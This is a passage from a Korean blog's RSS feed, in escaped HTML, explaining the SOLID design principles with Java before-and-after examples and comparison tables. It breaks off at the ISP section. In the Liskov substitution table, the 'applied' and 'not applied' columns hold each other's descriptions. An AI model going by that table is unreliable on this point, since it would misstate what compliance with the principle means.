      <comments>https://cocococo.tistory.com/entry/%EB%B9%85%EB%8D%B0%EC%9D%B4%ED%84%B0-RDBMS-Clustered-Secondary-Covering-Index-%EA%B0%9C%EB%85%90-%EB%B0%8F-%EB%B9%85%EB%8D%B0%EC%9D%B4%ED%84%B0-%ED%8E%98%EC%9D%B4%EC%A7%95-%EC%B2%98%EB%A6%AC-%EB%B0%A9%EB%B2%95#entry279comment</comments>
      <pubDate>Sat, 8 Mar 2025 18:31:14 +0900</pubDate>
    </item>
    <item>
      <title>객체지향 설계 원칙(SOLID) 적용 방법</title>
      <link>https://cocococo.tistory.com/entry/%EA%B0%9D%EC%B2%B4%EC%A7%80%ED%96%A5-%EC%84%A4%EA%B3%84-%EC%9B%90%EC%B9%99SOLID-%EC%A0%81%EC%9A%A9-%EB%B0%A9%EB%B2%95</link>
      <description>&lt;blockquote data-ke-style=&quot;style3&quot;&gt;객체지향 프로그래밍(OOP)의 장점을 극대화하기 위해서는 올바른 설계가 필수적이다. OOP의 핵심 개념을 기반으로 프로그램을 어떻게 설계해야 하는지 살펴보자.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;179&quot; data-start=&quot;163&quot; data-ke-size=&quot;size23&quot;&gt;  객체지향 설계 과정&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;387&quot; data-start=&quot;181&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1305&quot; data-start=&quot;1249&quot;&gt;&lt;b&gt;요구사항 분석&lt;/b&gt;: 제공해야 할 기능을 정의하고, 주요 액터와 사용 시나리오를 정리한다.&lt;/li&gt;
&lt;li data-end=&quot;1357&quot; data-start=&quot;1306&quot;&gt;&lt;b&gt;도메인 모델 설계&lt;/b&gt;: 주요 개체(객체)를 식별하고, 객체 간 관계를 정의한다.&lt;/li&gt;
&lt;li data-end=&quot;1404&quot; data-start=&quot;1358&quot;&gt;&lt;b&gt;객체의 책임 분배&lt;/b&gt;: 객체의 역할을 분리하고, 협력 구조를 결정한다.&lt;/li&gt;
&lt;li data-end=&quot;1460&quot; data-start=&quot;1405&quot;&gt;&lt;b&gt;클래스 및 인터페이스 설계&lt;/b&gt;: 추상화, 상속, 인터페이스를 활용하여 구조를 설계한다.&lt;/li&gt;
&lt;li data-end=&quot;1512&quot; data-start=&quot;1461&quot;&gt;&lt;b&gt;객체 간 메시지 흐름 설계&lt;/b&gt;: 시퀀스 다이어그램을 통해 동작 방식을 정의한다.&lt;/li&gt;
&lt;li data-end=&quot;1571&quot; data-start=&quot;1513&quot;&gt;&lt;b&gt;구현 및 리팩토링&lt;/b&gt;: 설계한 구조를 코드로 변환하고, SOLID 원칙을 적용하여 개선한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 단일 책임 원칙 (SRP, Single Responsibility Principle)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;244&quot; data-start=&quot;216&quot;&gt;하나의 Class는 하나의 책임(기능)만 가져야 한다.&lt;br /&gt;- 여러 가지 책임을 가지면 &lt;span style=&quot;color: #ef5369;&quot;&gt;&lt;b&gt;수정할 때 여러 가지 이유&lt;/b&gt;&lt;/span&gt;로 수정이 필요해지므로, 관리하기 어려워질 수 있다. 하나의 책임이면 해당 책임에 대해서만 수정하면 된다. (1:1)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1-1) SRP 미적용&lt;/h3&gt;
&lt;pre id=&quot;code_1740706771847&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public class Report {
    private String content;
    private String printType;
    private String savePath;

    public Report(String content, String printType, String savePath) {
        this.content = content;
        this.printType = printType;
        this.savePath = savePath;
    }

    public void generate() {
        System.out.println(&quot;Report generated with content: &quot; + content);
    }

    public void print() {
        if (printType.equals(&quot;pdf&quot;)) {
            System.out.println(&quot;Printing report as PDF&quot;);
        } else if (printType.equals(&quot;text&quot;)) {
            System.out.println(&quot;Printing report as Text&quot;);
        }
    }

    public void save() {
        System.out.println(&quot;Saving report at: &quot; + savePath);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1-2) SRP 적용&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;책임(기능)이 분리되어 있어 각각의 클래스는 자신이 맡은 하나의 책임만을 수행 이렇게 책임(기능)이 분리되어있으면 출력 방식이 &lt;br /&gt;XML &amp;rarr; JSON 으로 변경될 경우 ReportPrinter &lt;span style=&quot;color: #ef5369;&quot;&gt;&lt;b&gt;클래스만 변경하거나 교체&lt;/b&gt;&lt;/span&gt;하면 된다. (기능 별로 묶어서 클래스 생성)&lt;/blockquote&gt;
&lt;pre id=&quot;code_1740706324221&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public class Report {
    private ReportGenerator generator;
    private ReportPrinter printer;
    private ReportSaver saver;

    public Report(ReportGenerator generator, ReportPrinter printer, ReportSaver saver) {
        this.generator = generator;
        this.printer = printer;
        this.saver = saver;
    }

    public void generate() {
        generator.generate();
    }

    public void print() {
        printer.print();
    }

    public void save() {
        saver.save();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;812&quot; data-start=&quot;777&quot;&gt;ReportGenerator: 보고서를 생성하는 책임만.&lt;/li&gt;
&lt;li data-end=&quot;846&quot; data-start=&quot;813&quot;&gt;ReportPrinter: 보고서를 출력하는 책임만.&lt;/li&gt;
&lt;li data-end=&quot;878&quot; data-start=&quot;847&quot;&gt;ReportSaver: 보고서를 저장하는 책임만.&lt;/li&gt;
&lt;li data-end=&quot;929&quot; data-start=&quot;879&quot;&gt;Report: 이 세 가지 기능을 사용하는 하나의 고수준 인터페이스 역할.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt; &amp;nbsp; 참고&lt;br /&gt;고수준 클래스: 전체적인 일을 담당하는 상위 관리자.&lt;br /&gt;저수준 클래스: 실제로 세부 작업을 처리하는 부서들.&lt;/blockquote&gt;
&lt;h3 data-end=&quot;3244&quot; data-start=&quot;3230&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-end=&quot;3244&quot; data-start=&quot;3230&quot; data-ke-size=&quot;size23&quot;&gt;1-3) 비교 요약&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 186px;&quot; border=&quot;1&quot; data-end=&quot;4008&quot; data-start=&quot;3246&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; width: 9.76745%;&quot;&gt;항목&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 51.3954%;&quot;&gt;SRP 적용&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 38.6047%;&quot;&gt;SRP &lt;span style=&quot;background-color: #9b9b9b; color: #ffffff; text-align: start;&quot;&gt;미적용&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 38px;&quot; data-end=&quot;3653&quot; data-start=&quot;3509&quot;&gt;
&lt;td style=&quot;height: 38px; width: 9.76745%;&quot;&gt;&lt;b&gt;책임 분리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 38px; width: 51.3954%;&quot;&gt;각 클래스는 하나의 책임만 맡음 (ReportGenerator, ReportPrinter, ReportSaver)&lt;/td&gt;
&lt;td style=&quot;height: 38px; width: 38.6047%;&quot;&gt;모든 책임이 Report 클래스에 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 38px;&quot; data-end=&quot;3774&quot; data-start=&quot;3654&quot;&gt;
&lt;td style=&quot;height: 38px; width: 9.76745%;&quot;&gt;&lt;b&gt;변경 영향&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 38px; width: 51.3954%;&quot;&gt;각 기능을 수정해도 다른 기능에 영향 미치지 않음&lt;/td&gt;
&lt;td style=&quot;height: 38px; width: 38.6047%;&quot;&gt;하나의 기능 수정 시 다른 기능에도 영향을 미침&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 38px;&quot; data-end=&quot;3892&quot; data-start=&quot;3775&quot;&gt;
&lt;td style=&quot;height: 38px; width: 9.76745%;&quot;&gt;&lt;b&gt;유지보수&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 38px; width: 51.3954%;&quot;&gt;수정이 용이하고 변경사항 추적이 쉬움&lt;/td&gt;
&lt;td style=&quot;height: 38px; width: 38.6047%;&quot;&gt;수정 시 다른 부분까지 변경해야 해서 추적이 어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 38px;&quot; data-end=&quot;4008&quot; data-start=&quot;3893&quot;&gt;
&lt;td style=&quot;height: 38px; width: 9.76745%;&quot;&gt;&lt;b&gt;기능 확장&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 38px; width: 51.3954%;&quot;&gt;새로운 출력 방식, 저장 방식 등을 추가하기 용이&lt;/td&gt;
&lt;td style=&quot;height: 38px; width: 38.6047%;&quot;&gt;새로운 기능 추가 시 기존 메서드를 변경해야 해서 확장 어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 개방-폐쇄 원칙 (OCP, Open-Closed Principle)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;811&quot; data-start=&quot;780&quot;&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt;&lt;b&gt;확장에는 열려 있고, 수정에는 닫혀 있어야 한다&lt;/b&gt;&lt;/span&gt;.&lt;/li&gt;
&lt;li data-end=&quot;860&quot; data-start=&quot;815&quot;&gt;기존 코드를 수정하지 않고 새로운 기능을 추가할 수 있도록 설계해야 한다.&lt;br /&gt;- &lt;span style=&quot;color: #ef5369;&quot;&gt;&lt;b&gt;추상화&lt;/b&gt;&lt;/span&gt;와&lt;b&gt; &lt;/b&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt;&lt;b&gt;상속&lt;/b&gt;&lt;/span&gt;을 사용하면 &lt;b&gt;기존 코드를 수정하지 않고도 새로운 기능을 추가해&lt;/b&gt;&amp;nbsp;&lt;b&gt;유연성&lt;/b&gt;과 &lt;b&gt;확장성&lt;/b&gt;이 높아진다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-1) OCP 미적용&lt;/h3&gt;
&lt;pre id=&quot;code_1740708314750&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class PaymentProcessor {
    public void processCreditCardPayment(int amount) {
        System.out.println(&quot;Credit Card payment of amount: &quot; + amount);
    }

    public void processPayPalPayment(int amount) {
        System.out.println(&quot;PayPal payment of amount: &quot; + amount);
    }

    // 새로운 결제 방식 추가 시 기존 메서드 수정 필요
    public void processCryptoPayment(int amount) {
        System.out.println(&quot;Crypto payment of amount: &quot; + amount);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-2) OCP 적용&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;추상화와 상속을 활용하면, 변하는 부분(결제 방식 등)을 인터페이스로 정의하여, 변경이 자주 일어나는 부분을 추상화할 수 있다.&lt;br /&gt;예를 들면, CryptoPayment클래스를 새로 만들면 PaymentProcessor 클래스를 수정하지 않고도 새로운 결제 방식을 처리할 수 있다. 기존 결제 방식(신용카드, 페이팔)에 영향을 주지 않으니까, OCP가 적용된 설계&lt;/blockquote&gt;
&lt;pre id=&quot;code_1740708338699&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/*  결제 방식들을 추상화하고, 각 결제 방식은 인터페이스를 구현 */

// 결제 인터페이스 정의 (추상화)
interface Payment {
    void pay(int amount);
}

// 신용카드 결제 클래스
class CreditCardPayment implements Payment {
    @Override
    public void pay(int amount) {
        System.out.println(&quot;Credit Card payment of amount: &quot; + amount);
    }
}

// 페이팔 결제 클래스
class PayPalPayment implements Payment {
    @Override
    public void pay(int amount) {
        System.out.println(&quot;PayPal payment of amount: &quot; + amount);
    }
}

// 암호화폐 결제 클래스
class CryptoPayment implements Payment {
    @Override
    public void pay(int amount) {
        System.out.println(&quot;Crypto payment of amount: &quot; + amount);
    }
}

// 결제 처리 클래스 (다형성 활용)
class PaymentProcessor {
    private Payment payment;

    // 결제 방식을 주입받음 (다형성)
    public PaymentProcessor(Payment payment) {
        this.payment = payment;
    }

    public void process(int amount) {
        payment.pay(amount);  // 결제 방식에 따라 다르게 처리됨
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-3) 비교 요약&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;2875&quot; data-start=&quot;2012&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 11.0465%;&quot;&gt;항목&lt;/td&gt;
&lt;td style=&quot;width: 47.4419%;&quot;&gt;OCP 적용&lt;/td&gt;
&lt;td style=&quot;width: 41.3953%;&quot;&gt;OCP 미적용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;2492&quot; data-start=&quot;2365&quot;&gt;
&lt;td style=&quot;width: 11.0465%;&quot;&gt;&lt;b&gt;새로운 기능 추가&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 47.4419%;&quot;&gt;기존 코드 수정 없이 새로운 기능(결제 방식) 추가 가능&lt;/td&gt;
&lt;td style=&quot;width: 41.3953%;&quot;&gt;기존 코드 수정이 필요. 새로운 메서드를 추가해야 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;2616&quot; data-start=&quot;2493&quot;&gt;
&lt;td style=&quot;width: 11.0465%;&quot;&gt;&lt;b&gt;유지보수&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 47.4419%;&quot;&gt;코드 수정 없이 기능 추가 가능. 새로운 클래스만 추가하면 됨.&lt;/td&gt;
&lt;td style=&quot;width: 41.3953%;&quot;&gt;기존 코드 수정이 계속 필요. 새로운 결제 방식마다 수정해야 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;2749&quot; data-start=&quot;2617&quot;&gt;
&lt;td style=&quot;width: 11.0465%;&quot;&gt;&lt;b&gt;확장성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 47.4419%;&quot;&gt;확장이 용이함 (새로운 기능은 기존 코드에 영향 안 줌)&lt;/td&gt;
&lt;td style=&quot;width: 41.3953%;&quot;&gt;확장 시 코드 수정이 필수적이고, 기존 코드에 영향을 미침&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;2875&quot; data-start=&quot;2750&quot;&gt;
&lt;td style=&quot;width: 11.0465%;&quot;&gt;&lt;b&gt;유연성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 47.4419%;&quot;&gt;유연성 높음 (각각의 결제 방식은 독립적으로 처리되며, 다른 결제 방식에 영향을 주지 않음)&lt;/td&gt;
&lt;td style=&quot;width: 41.3953%;&quot;&gt;유연성이 낮음. 새로운 결제 방식 추가 시, 기존 코드가 변경되어야 함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;revenue_unit_wrap&quot;&gt;
  &lt;div class=&quot;revenue_unit_item adsense responsive&quot;&gt;
    &lt;div class=&quot;revenue_unit_info&quot;&gt;반응형&lt;/div&gt;
    &lt;script src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot; async=&quot;async&quot;&gt;&lt;/script&gt;
    &lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block;&quot; data-ad-host=&quot;ca-host-pub-9691043933427338&quot; data-ad-client=&quot;ca-pub-3001608230251687&quot; data-ad-format=&quot;auto&quot;&gt;&lt;/ins&gt;
    &lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 리스코프 치환 원칙 (LSP, Liskov Substitution Principle)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1568&quot; data-start=&quot;1530&quot;&gt;자식 클래스는 부모 클래스를 대체하여 사용할 수 있어야 한다.&lt;/li&gt;
&lt;li data-end=&quot;1604&quot; data-start=&quot;1572&quot;&gt;상속받은 클래스가 부모의 기능을 변경하면 안 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3-1) LSP 미적용&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #ffffff;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: #c1bef9;&quot;&gt;&amp;nbsp;Ostrich &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&amp;nbsp;객체가&amp;nbsp;&lt;span style=&quot;color: #ffffff; background-color: #c1bef9;&quot;&gt; Bird&amp;nbsp;&lt;/span&gt; 클래스를 대체할 수 없고, 프로그램의 정상적인 흐름이 깨지게 된다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1740718615676&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class Bird {
    public void fly() {
        System.out.println(&quot;I can fly&quot;);
    }
}

class Ostrich extends Bird {
    @Override
    public void fly() {
        throw new UnsupportedOperationException(&quot;I can't fly&quot;);
    }
}

public class Main {
    public static void main(String[] args) {
        Bird bird = new Ostrich();
        bird.fly();  // throws UnsupportedOperationException
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3-2) LSP 적용&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #ffffff; background-color: #c1bef9;&quot;&gt;&lt;b&gt;&amp;nbsp;Sparrow&amp;nbsp;&lt;/b&gt;&lt;/span&gt; 와&amp;nbsp;&lt;b&gt;&lt;span style=&quot;color: #ffffff; background-color: #c1bef9;&quot;&gt; Duck&amp;nbsp;&lt;/span&gt;&lt;/b&gt; 객체는&amp;nbsp;&lt;span style=&quot;color: #ffffff; background-color: #c1bef9;&quot;&gt;&lt;b&gt; Bird&amp;nbsp;&lt;/b&gt;&lt;/span&gt; 클래스를 대체할 수 있고, 프로그램이 의도대로 정상적으로 작동한다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1740718964908&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class Bird {
    public void fly() {
        System.out.println(&quot;I can fly&quot;);
    }
}

class Sparrow extends Bird {
    @Override
    public void fly() {
        System.out.println(&quot;I can fly fast&quot;);
    }
}

class Duck extends Bird {
    @Override
    public void fly() {
        System.out.println(&quot;I can fly slowly&quot;);
    }
}

public class Main {
    public static void main(String[] args) {
        Bird bird = new Sparrow();
        bird.fly();  // &quot;I can fly fast&quot;

        bird = new Duck();
        bird.fly();  // &quot;I can fly slowly&quot;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3-3) 비교 요약&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1259&quot; data-start=&quot;242&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;항목&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;background-color: #9b9b9b; color: #ffffff; text-align: start;&quot;&gt;LSP 적용&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;background-color: #9b9b9b; color: #ffffff; text-align: start;&quot;&gt;LSP 미적용&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;727&quot; data-start=&quot;598&quot;&gt;
&lt;td&gt;&lt;b&gt;상속 관계&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;자식 클래스가 부모 클래스의 동작을 변경하여 부모 클래스를 대체할 수 없음&lt;/td&gt;
&lt;td&gt;자식 클래스가 부모 클래스를 대체할 수 있고, 부모 클래스의 동작을 그대로 유지하면서 확장 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;855&quot; data-start=&quot;728&quot;&gt;
&lt;td&gt;&lt;b&gt;기능 확장&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;자식 클래스가 부모 클래스의 동작을 변경하여 기존 동작이 예기치 않게 동작할 수 있음&lt;/td&gt;
&lt;td&gt;자식 클래스가 부모 클래스의 기능을 확장하면서 기존 동작을 유지하도록 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;981&quot; data-start=&quot;856&quot;&gt;
&lt;td&gt;&lt;b&gt;기존 코드 동작&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;자식 클래스를 사용하면 부모 클래스를 사용하는 코드에서 예기치 않은 동작이 발생할 수 있음&lt;/td&gt;
&lt;td&gt;자식 클래스가 부모 클래스를 대체하더라도 부모 클래스를 사용하는 코드에서 문제 없이 동작함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1119&quot; data-start=&quot;982&quot;&gt;
&lt;td&gt;&lt;b&gt;유지보수 용이성&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;자식 클래스에서 부모 클래스의 기능을 변경하면, 기존 코드에서 예기치 않은 문제를 발생시킬 수 있음&lt;/td&gt;
&lt;td&gt;자식 클래스가 부모 클래스의 기능을 변경하지 않으므로, 기존 코드에서 문제없이 동작하고 유지보수가 용이함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1259&quot; data-start=&quot;1120&quot;&gt;
&lt;td&gt;&lt;b&gt;확장성&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;자식 클래스에서 부모 클래스의 동작을 변경하면 확장이 어려워짐&lt;/td&gt;
&lt;td&gt;부모 클래스의 동작을 변경하지 않고 확장 가능함, 새로운 기능을 추가하기 쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 인터페이스 분리 원칙 (ISP, Interface Segregation Principle)&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&quot;고객은 자신이 사용하지 않는 메서드에 의존하지 말아야 한다&quot;는 원칙이다. 즉, &lt;span style=&quot;color: #ef5369;&quot;&gt;&lt;b&gt;인터페이스를 작고 구체적&lt;/b&gt;&lt;/span&gt;으로 만들어서 클라이언트가 자신이 사용하지 않는 메서드를 의존하지 않도록 해야 한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1937&quot; data-start=&quot;1900&quot;&gt;인터페이스는 클라이언트가 필요로 하는 기능만 제공해야 한다.&lt;/li&gt;
&lt;li data-end=&quot;1988&quot; data-start=&quot;1941&quot;&gt;하나의 거대한 인터페이스보다는 작은 인터페이스 여러 개로 분리하는 것이 좋다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-1) ISP 미적용&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #ffffff; background-color: #c1bef9;&quot;&gt;&lt;b&gt;&amp;nbsp;SimplePrinter&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&amp;nbsp;클래스는&amp;nbsp;는&amp;nbsp;scan과&amp;nbsp;fax&amp;nbsp;메서드를 지원하지 않지만,&amp;nbsp;&lt;span style=&quot;color: #ffffff; background-color: #c1bef9;&quot;&gt;&lt;b&gt;&amp;nbsp;AllInOnePrinter&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&amp;nbsp;인터페이스를 구현해야 하므로 UnsupportedOperationException을 던지게 된다. 이처럼 필요하지 않은 메서드를 구현해야 하는 경우가 발생한다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1740719887392&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 모든 기능을 하나의 인터페이스에 모은 경우
interface AllInOnePrinter {
    void print();
    void scan();
    void fax();
}

// 다기능 프린터 클래스
class MultiFunctionPrinter implements AllInOnePrinter {
   @Override
    public void print() {
        System.out.println(&quot;Printing...&quot;);
    }
	
    @Override
    public void scan() {
        System.out.println(&quot;Scanning...&quot;);
    }

   @Override
    public void fax() {
        System.out.println(&quot;Faxing...&quot;);
    }
}

// 단일 기능 프린터 클래스
class SimplePrinter implements AllInOnePrinter {
    @Override
    public void print() {
        System.out.println(&quot;Printing...&quot;);
    }

    @Override
    public void scan() {
        // 필요하지 않지만, 메서드가 요구됨
        throw new UnsupportedOperationException(&quot;Scan not supported&quot;);
    }

    @Override
    public void fax() {
        // 필요하지 않지만, 메서드가 요구됨
        throw new UnsupportedOperationException(&quot;Fax not supported&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-2) ISP 적용&lt;/h3&gt;
